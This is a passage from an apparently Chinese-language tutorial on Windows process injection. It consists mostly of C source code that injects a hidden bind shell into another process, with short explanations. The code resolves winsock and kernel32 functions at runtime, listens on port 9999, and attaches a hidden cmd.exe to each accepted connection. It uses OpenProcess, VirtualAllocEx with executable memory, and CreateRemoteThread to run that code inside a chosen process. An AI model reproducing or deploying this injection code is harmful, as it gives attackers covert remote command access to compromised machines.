BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
// 通过GetProcAddress获取到kernel32.dll中的所有函数地址
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
ptr->ShellWsaStartup(0x101, &HWSAdata);
s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = ptr->port;
sa.sin_addr.s_addr = 0;
ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
ptr->ShellListen(s, 1);
while (1)
{
n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
si.lpDesktop = si.lpTitle = (char*)0x0000;
si.lpReserved2 = NULL;
ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
}
}
最后再来看一下实现调用的主函数,代码中通过argv[1]
也就是命令行参数传递,并绑定到(unsigned short)9999
端口上,通过GetProcAddress
依次获取所需函数内存地址并使用strcpy
初始化结构体PARAMETROS
,最后直接调用CreateRemoteThread
实现线程Shell反弹。
- 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后,通过 strcpy 函数初始化一个 PARAMETROS 结构体,并填充该结构体的各个字段。
- 通过 OpenProcess 函数打开目标进程,使用 VirtualAllocEx 函数在目标进程中分配内存,并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
- 通过 CreateRemoteThread 函数在目标进程中创建一个线程,并将线程的入口点设置为 MyShell 函数,这样就实现了进程注入。
int main(int argc, char* argv[])
{
void* p = NULL;
HANDLE hProcess;
PARAMETROS parametros, * remote;
if (argc == 2)
{
int PID = atoi(argv[1]);
memset((void*)¶metros, 0, sizeof(PARAMETROS));
strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
parametros.port = htons((unsigned short)9999);
printf("[-] PID = %d \n", PID);
// 获取到动态链接库加载函数地址
parametros.KernelHandle = LoadLibrary("kernel32.dll");
parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
// 拷贝 winsock 字符串
strcpy(parametros.wsastring, "ws2_32.dll");
strcpy(parametros.wsastartupstring, "WSAStartup");
strcpy(parametros.WSASocketString, "WSASocketW");
strcpy(parametros.WSAConnectstring, "WSAConnect");
strcpy(parametros.bindstring, "bind");
strcpy(parametros.acceptstring, "accept");
strcpy(parametros.listenstring, "listen");
// 拷贝 kernel32 字符串
strcpy(parametros.kernelstring, "kernel32.dll");
strcpy(parametros.CreateProcessstring, "CreateProcessA");
// 开始注入代码
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remot